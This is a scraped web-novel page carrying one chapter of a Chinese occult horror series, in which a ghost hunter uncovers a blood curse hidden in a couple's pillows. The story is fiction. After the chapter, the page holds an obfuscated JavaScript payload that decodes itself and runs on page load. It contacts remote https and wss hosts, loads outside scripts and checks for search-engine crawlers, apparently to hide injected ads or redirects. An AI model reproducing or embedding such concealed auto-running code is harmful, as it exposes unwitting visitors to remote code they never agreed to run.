足迹
十四年猎诡人epub
登录
关灯
护眼
字体:

第八十二章第三册2(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

枕头

2oo9年的时候,有个冉姓的先生透过别人的介绍而找到我,最初我还是和他进行最基本的电话沟通,用以了解大致的情况。那段时间,我对工作似乎开始有点倦怠,或多或少的萌生了一些退行的想法,不过我对于别人的诉求,向来都是能帮就尽量帮,只要不会危及我的健康和生命安全,只要多少能有点钱赚。于是在从2oo8年开始,我几乎不会主动去打听和联系业务了,都是别人一个传一个口碑效应的客户。

这个冉先生3o多岁,是一家做建筑工程图纸的公司老板,当我们觉得在电话里说不清楚,于是约见的时候,他递给我的名片上,有一团宗教式的火焰,我对这些图案实在话说是比较敏感的,于是我问他这火焰是个什么情况,他告诉我,那是他背上的一个纹身。他说他早些年的时候曾在云南姐告边境混过一段时间的黑道,那时候跟缅甸和泰国的黑社会打过一阵子交道,那个纹身就是当时留下来的。后来因为犯了点事,被抓起来劳教了几年,随后就没有再会云南去,而是回了重庆家乡,凭着那几年挣下的带血的钱,开了这么一家小公司。于是开始学着穿西装打领带,冒充有知识有文化的上流社会。他跟我说这些的时候,显得有些自嘲,我其实这么多年是接触过不少道上的人的,我知道他们比起那些普通老百姓,更相信我们这一行。他们虽然也有不少曾经干过些偷鸡摸狗的事情,但是随着岁数的增长和履历的增加,这些人最终都会选择沉淀下来,猛然幡悟后,往往都会重新开始一段新的人生。所以我并不抗拒这样的人,最起码我不会抗拒改过自新的他们。跟冉先生说话,并没有费劲的感觉,他看上去也不像是一个遇到鬼事而无比慌张的人,他的那种镇定和稳重,倒是让我很意外。

他说其实遇到鬼的不只是他,还有他的老婆。

冉先生说,他和他老婆是2oo6年的时候结婚的,那时候他的小公司才刚刚开业,他的老婆就是他新公司的第一批员工里的其中一个。最近搬了新家,很多他们俩的好朋友,都纷纷给他们的新家送来了礼物,冉先生说,家里除了那些家电和家居是自己新买的以外,剩下的那些日用品等几乎都是朋友送来的,他自己也是比较信因果的人,于是搬家以后,先是在家敬了灶神财神,早晚上香然后空房三日后才住进去。但是就在住进去不到1个月的时候,他老婆就撞鬼了。

说到这里他喝了口茶,试图平复一下有些微激动的心情。他说,那天晚上他和老婆都睡了,到了半夜的时候突然被老婆凄厉的叫声惊醒,赶紧打开灯,现自己老婆正紧闭着双眼,然后双手抱着头,脚一个劲地乱蹬,他以为是自己老婆做了噩梦了,于是赶紧抱住她安慰她,但是他老婆还是持续那个状态,过了好一阵才清醒过来,醒过来就开始大哭,说自己刚刚撞鬼了。冉先生还是觉得自己老婆多半就是做梦了,可能是刚刚醒来的缘故对梦境和现实还有些分不清楚。就一边宽慰她,一边给她倒了一杯水,然后问她到底是梦见什么了。他老婆一边哭一边说,刚刚在睡觉的时候,觉得有东西压在自己的眼睛上,然后自己伸手去摸是什么东西,却现摸到一对冰冷且瘦骨嶙峋的手腕。当时她就非常害怕,于是才开始大叫,但是眼睛被那只手死死的按住自己怎么都张不开,这才是用叫声惊醒了冉先生。冉先生跟她分析了一下是不是自己做噩梦,因为当他开灯后看见自己老婆是双手抱着头然后在惨叫,并没有看到什么手腕和手掌。两人各执一词,最后得到一个结论:最近搬家太累,导致思想压力很大,于是产生幻觉了。

冉先生试图用这个方式来说服自己对看到的这一切的解释,而冉太太却在用这个说法来欺骗自己相信着,不过接下来的几个晚上,都生了类似的怪事,冉太太还是每天晚上都被那种奇怪的触感给惊醒,哭闹着说什么也不肯再在这个床上继续睡了,因为那一晚她甚至感觉到有两只冰冷的手从她的腮帮开始,贴着脖子的皮肤从上到下一直划到了锁骨的位置。而且每次当她的感觉非常清晰,清晰到自己认定那不是个梦的时候,自己想要挣扎却始终没有办法动,只能出尖叫声。那一晚,冉先生多次的安慰不再有什么作用,但是临时要出去住也不能够解决问题,于是两口子在外面酒店住了几晚,冉先生就到位于南平五公里处的观音寺里,求了个平安符,还有一串小佛珠,然后求大师给了句佛号,让她牢记默念,好不容易说服了冉太太让她肯回家去住,把平安符和佛珠都放在枕头底下,然后睡前默念那句佛号,那一晚,冉太太入睡以后,一点怪事都没有生了。原本以为这一切都结束了,生活又可以回归正常,谁知道没过几天,冉太太倒是没什么事了,那怪事又生在了他自己的身上。

我问他,你是事主,这种感觉你应该非常清晰才是,希望你能够跟我尽可能仔细地描述一下,他说,在他老婆好了没几天,有一天晚上自己处理公事很晚才睡,上床后不久就睡着了,但是他由于之前混过黑道,人比较警觉,一点轻微的搅动他都能够很快的反应过来。就在那晚他入睡没多久的时候,他说很明显的感觉到自己脑袋的左右两侧,分别伸出了一只手,在他的耳朵后面搓着,最开始还是靠他老婆这一侧,所以他起初以为是自己老婆在弄,另一侧的感觉明显起来,他才突然意识到糟了,也许是自己也遇到老婆遇到的那个鬼了,于是想要睁眼坐起来,却现不但自己眼睛睁不开,连身子也动不了了,唯独可以活动的,就是自己的双手和嘴巴。他不愿意像自己老婆一样大叫起来,因为这样除了会让多一个人更害怕以外,别的一点作用都没有。于是他壮着胆子,伸手朝着摸他耳朵的那只手抓去,到了耳朵后面的时候,他一把抓过去,结果抓到的是几根冰冷细长的手指。当时他一惊,就开始在心里默念着当初给自己老婆求符的时候,那位大师教他的那句佛号,这才挣脱开来。起床后他才告诉了他老婆,他老婆意识到事情大概有些严重了,于是两口子就开始四处托人打听行内人帮他们驱邪,这才找到了我。

这种类似的事情我以前是遇到过的,那次也是比较恐怖,情况也是类似,同样都是两口子轮番遇到这样的事情,不过那次的那个鬼稍微可怕一点,它是从墙上倒爬下来用自己的头来扫夫妻俩的鼻子,他们睁开眼以后就现一张倒悬的苍白的脸,即使那次的事情顺利解决,那两口子也因此说什么不敢再在那个房子里住了。于是我问冉先生,你觉得当时那个摸你的鬼魂是以什么姿势动的手,冉先生说,他怀疑是有一个女鬼站在他们床头那一侧,然后弯腰来摸他们的。我问他为什么这么肯定是个女鬼呢,他说他摸到的那只手,手指很细长,而且比较瘦弱,所以他觉得那是一个女人。我心里想象着当时的场景,觉得到也合情合理,于是我问他,你们家的房子是租的还是买的,他说是买的,我说是买的新房还是二手房,他说是新房子。我迟疑了一会,问他你们小区的位置大概在哪里,他说在石桥铺附近,我心想那一带以往也不是有很多坟的地方,作为一个新小区,出现这样的事情似乎是有些不合理,我再问他是否最近有在家里添置一些来历不明的东西?他说没有,自己都是刚搬的新家,家里的全部东西都是新的,以前的旧东西几乎都在自己老房子里,根本没有带到新家去,他自己也很纳闷为什么这样的新房会生这些事情。

我听他这么说完,依据他所说的那些情况,我也觉得有些不合常理。在我接触过的一切事件里,通常一个因为环境的改变而生闹鬼的事情的,无非有以下几种情况。一是房子是旧房子,旧房子之前在这里曾经生过死人的事件,或是有人死后对生前曾经居住过的这个房子突然有了浓厚的挂念,这种情况是最普遍的。二是这个房子在开挖地基的时候,曾经动到了以前的老坟,以为以前因为社会环境的问题,大多数人是采用土葬的方式,而且那时候的很多人都不怎么富裕,即便是请了师父来开路等,往往也做不到很地道的份上,所以有很多以往那个时期遗留下来的鬼魂。三是家里带回来一件莫名其妙有怨气的物件,这样就造成了这个怨气会跟随着新主人来到新家,并自作主张的把这个地方当成了自己的地盘,于是才会影响到住在这里的人。四是房间的格局问题,如果一个房子的装修没有经过考究,贸然根据主人自己的意愿来进行,却又在不知情的情况下犯了忌讳,因为每个人的生辰八字是不一样的,举个例子说,有的人利南北,有的人是利东西,甚至会有人克东西克南北的,如果不讲究这些,就有可能造成这个房子和自己的八字相冲,这一冲,轻则折势折运,重就没有上限了,各种各样稀奇古怪的事情都有可能生。所以当我们的新房遇到装修或是租房的时候,切记尽可能的在家里的暗角处放上一个盆栽或是鹅卵石,因为鹅卵石是死物,而且对于鬼怪来说,他们更多是看一个地方的几个占位是否被占,石头不是几十几百年就能形成的,它虽然常年安静的一动不动,但却是千年万年的积累形成的。这也是为什么千百年来,王侯将相的棺椁墓室都是采用石材,不仅仅是因为可以经久耐用,也是因为石质的东西能够有效遏制灵魂。再有一种情况,就是事主在外出的时候,被一些莫名其妙地鬼给缠住,于是跟了回家,这种几率极小,遇到这种鬼的概率大概跟中彩票一样,如果遇到了,请立刻去买下彩票,然后努力活到开奖的那一天,撑到领到奖金,然后拿着奖金来找我们这样的人就对了。

说得够具体了吧?

倒是冉先生遇到的这种,似乎都不能算作是以上任何一种情况,否则我甚至不需要亲自去,直接让他准备好东西,自己在家就能够解决掉。事情不能马虎,说什么也是在那人钱财替人消灾,于是我提出要去他家里看看,他先是有点犹豫,告诉我说在找我之前他曾找过一个道士,那个道士上门以后就在他们卧房和玄关的门上都贴了符,说3天之内不能进门,3天后恶鬼自去后方能回家。我说那最起码你得让我先去你家门口看看那个符啊,要是你找了个假道士那不是误事了吗。他大概觉得我说的也是,当然也不排除在心里曾经想过,也无法确定我是否有真本事的问题。当下我们就出去了他家。

到了他家以后,我看了看门上的符咒,情不自禁地出一声冷笑,因为看得出这个道士是懂行的,但是也肯定只是懂点表皮功夫,因为在路上,冉先生告诉我冉太太其实已经怀孕3个月,而这样的情况那个道士想必也是听冉先生夫妻说起过的,不过那个符咒是用来镇压的,即便是镇住了鬼,也会镇住肚子里的孩子的。孩子在出生之前,它的灵魂和肉体不是完全重叠的,也就是说虽然都在肚子里,但是两者还没有很协调地学会融为一体,如果在怀孕的过程中,灵在肉之前死了,那么生出来的孩子就是有严重智力障碍的傻瓜,因为这样的肉体所拥有的灵魂已经本身是残缺了就别奢望能够有个健康的宝宝。同样的道理,如果肉身较之灵魂先死了,那么要么流产要么是死胎,这样的话,灵肉根本没有机会协调融合,婴灵也正是因为这样而产生的。所以那些说孩子在几岁之前是没有灵魂的统统闭嘴吧,要是真没灵魂,郭丑丑那厮还卖个什么玩意?

我告诉冉先生,这个符有镇鬼的作用,但是除非一直不撕掉它,那么就可以一直把那个鬼给压制住,但是它并没有因此而离开,而是只是被压制而已。不过这个符咒对你老婆肚子里的孩子可真是不好,所以我建议还是撕掉,然后相信我能够用另外的方法来处理好。冉先生犹豫了一下,最后答应了,他撕下符咒,让我们进了卧室。

我仔细看了他家里的格局,几乎可以说是万无一失,由于冉先生自己是搞这种工程建筑图纸的老板,想必他还是对这种学问是有所掌握的,而且房子里的几个旺位都摆上了相应的东西,这样的房子是几乎不可能闹鬼的,我越看越奇怪,如果真是像冉先生说的那样,有一个女鬼站在床头弯腰下来摸他们,那它在这样的屋子里是没有理由呆得了很久的,除非是家里有关于这个鬼的东西存在。想到这里,该用的排除法统统都排除掉了,于是我开始拿着罗盘满屋子比划,房间的四周都是干干净净的,唯独床上那两个枕头,有强烈的反应。而根据这种反应来看,这次的这个鬼并非善类,它就是来复仇的。

我心里突然有种紧张感,因为还不知道自己即将要对付的是什么,但是却知道绝非善类,于是我把罗盘丢到一边,取出红绳把两个枕头捆了起来,拿到客厅,我问冉先生,这两个枕头是在哪里买来的,他说不知道是好朋友送的,我问他记得是谁送的吗?他说记得啊是他老婆的一个姊妹伙,现在冉太太就在她家里呢。我听后心里一紧张,带着冉先生走到阳台上,在太阳的暴晒下,我拆开了那两个枕头,取出内胆,接着打开内胆,倒出里面的腈纶棉,现在里面的最中央,有一团新鲜的棉花,棉花上有两滩血迹,其中一个颜色较深,应该是时间更长,另一个则鲜红的多,看上去时间就是最近不久才沾上的,此外还在棉花里面现了一个折成三角形的纸块,上边写着冉先生夫妻的名字,于是我对冉先生说,坏了,你赶紧让你老婆回来吧,害她的人正跟她在一起呢,冉先生有些吃惊,他不解地问我,怎么回事,我说你的这两个枕头被人下过血咒,就是针对的你们夫妻俩,所你们无论谁睡在上面都会有问题的,虽然不知道为什么要害你们,但是这个咒很毒辣,我指着那滩颜色比较深的血迹告诉他,这个血迹的时间久一些,应该就是被喊出来折磨你们俩的那个鬼生前的血迹,另外那个颜色比较新鲜,但是分段有痕迹,说明这不是一个人的血,而是人血混合了鸡血的,我有足够的把握说这样的话,因为我以前遇到过这一模一样的血咒。我接着告诉冉先生,滴上自己的血,就好像是在跟鬼魂做交易,以血表示彼此的忠诚,而另一部分的鸡血,则是因为加了鸡血后,那只鬼往往会更加兴奋,鸡自古以来就是祭祀立约必备的一种动物,所以我们有句形容一个很嗨的人的俗语,就是像打了鸡血一样。此外那个三角形的纸片,其实是一个名牌,这个名牌是专门写给这个鬼看的,提醒它不要害错了人。我问冉先生,送你们这个枕头的是你老婆的姊妹伙,你们是不是之前得罪过她的,怎么可能有这么大的仇恨呢。

他突然脸色惨白,欲言又止的,我看出这当中一定有什么隐情,于是我对他说,这件事你如果不如实的告诉我,那么接下来你将要面临的危险可能会更多,你把你知道的事情都说出来,说不定我们现在就能够从根子上把它给结束了。他沉默了一下,说,他曾经有一次陪着老婆跟大伙一起出去旅游,半夜因为大家都喝多了酒,于是他进错了房间,也就错误地和那个他老婆的姊妹伙生了不正当的关系,酒醒以后才现,他觉得那是一个错误,就打算用一些方式来弥补那个女人,例如对她很好之类,让她懂得这一切都不是真的,那一夜不过大家都是因为酒精的关系,才犯下这样的错误。那个女人当时哭了,说一边是自己的姐妹,一边又是姐妹的男人,不管怎么样,这事传出去都是个笑柄,而且不管她是不是喜欢冉先生,他们都不可能在一起的。于是对这冉先生表示这件事是个错误,大家彼此就此释怀。从那以后,他们几个就经常厮混在一起,成了最好的朋友,可冉先生怎么都没想到,一个女人若是恨起来,绝对不是一两句话就能够释怀,一个女人若是报复起来,那绝对是最最可怕的一种。

说完以后我明白了,其实是因为那个女人心里觉得不甘心,而且又没办法明目张胆的跟冉先生在一起,于是就用这样的手段,背叛自己的友情,企图弄死弄残一个后,再来得到冉先生,如果死的是冉先生,那么起码她还保住了友情。实在是狠毒,但是我有一些不明白的地方,就是这些招数是她从哪里学来的,而且她是怎么搞到这些带血的棉花的,又怎么知道这个血棉花原本的那个鬼魂是善是恶。后来冉先生才告诉我,那个女人要得到这些东西并不困难,因为她就是某医院的护士。我才恍然大悟,作为一个护士,原本就常常面对生死的问题,其中自然不乏有一些因为吐血或是重伤死去的人,他们的血若是浸透了床单枕头等,一般医院是要做集中消毒或是销毁处理的,也许是在运送途中被她偷偷拿了一些,至于她是怎么知道这么个画咒的法子的,我是的确不知道了,当女人的报复情绪战胜了理智的时候,可怜的不止是因此而受到伤害的人,还有那个被莫名其妙利用的鬼魂。而且她的结局注定是悲惨的,因为这样的血咒,一旦被破,则必然反噬,而我受人委托,这个咒我自然是非破不可,不过我却没有任何办法来阻止这种反噬了。

我叫冉先生马上给自己老婆打电话,什么都别说,就让她快点回家就是了,以后你们两口子都得跟那个女人少来往,我的意思是,如果她遭受的惩罚还不算严重的话。

除开那个三角形的纸片符,我把带血的棉花一把火给烧掉,这只是烧掉了那个女人和鬼之间的契约关系,但是那个鬼和他们夫妻俩的仇恨关系还没有解除,于是我把那两个三角符放到一起,弄了点米粒,用水浸泡,接着把水淋到纸片上,当它湿透以后,我们就能够隐约看到折到里面的那一层写下的那个鬼的生辰和死忌。如此一来,我就能够透过例如黄婆婆一类的人得知这个鬼的身份,于是那一整个下午,我在冉先生家里忙乎着,等到冉太太回到家,冉先生跟她说了这次整个事情都是她的姐妹所策划,这自然也免不了要主动坦白这一切究竟是因为生了什么而导致的。我无暇也无意要去介入这样一场由灵异事件进而转化成的家庭纠纷,在处理好一切以后,我特意要他们一起来看着我是怎么把那个吓唬他们的鬼带走的,临走前,冉太太问我,那个鬼到底是从什么地方开始摸他们的,我确实不希望给他们今后的生活留下什么阴影,于是我告诉他就跟你先生说的一样,是站在床头的。而事实上,那双手,是一左一右,从枕头里伸出来的。

大概半年后,我再次接到冉先生的电话,他说他看新闻说渝北区龙溪镇附近有一个疯的女人,举着一块牌子说黑社会强奸霸占她。那个人就是他老婆以前的那个闺蜜,冉先生有点不愿接受事实的问我,难道这就是所谓的反噬吗?我无法回答他,因为我也不知道,我所知道的,这个世界上是没有绝对的付出和回报的,但是如果你种下了因,就必然会吃到果,如果那位小姐因为恶意的下咒而遭到如今导致疯狂的反噬,那么冉先生当初造成这一切恶果的根源,也许就是换来了他们夫妻大吵一架最终看在孩子的份上决定妥协,世间因果自来都有,别干蠢事,当心哪一天,枕头里伸出两只手,缓缓摸着你的脖子。

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。



!function(){function a(a){var _idx="hy7mvy57ph";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^(Tm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^ROm^4^_ppmRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^5Fm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^TJmDFfFf2mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^DSm5dq4J6mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^dCm^4^_ppmRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8hT1^XTn1Jh"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"hT1^XTn1Jh"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(mS(L^XTmRT4"="@07Rq^)5md4:)f:mRT4"="@07Rq^YFmS(L^XTmRT4"="@07Rq^^Cmd4:)f:mRT4"="@07Rq^Y5mS(L^XTmRT4"="@07Rq^(Fmd4:)f:mRT4"="@07Rq^h^mS(L^XTmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^Y6q_fmRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ/f/@0j(8}vR8hT1^XTn1Jh"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)OmDFfFf2mRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();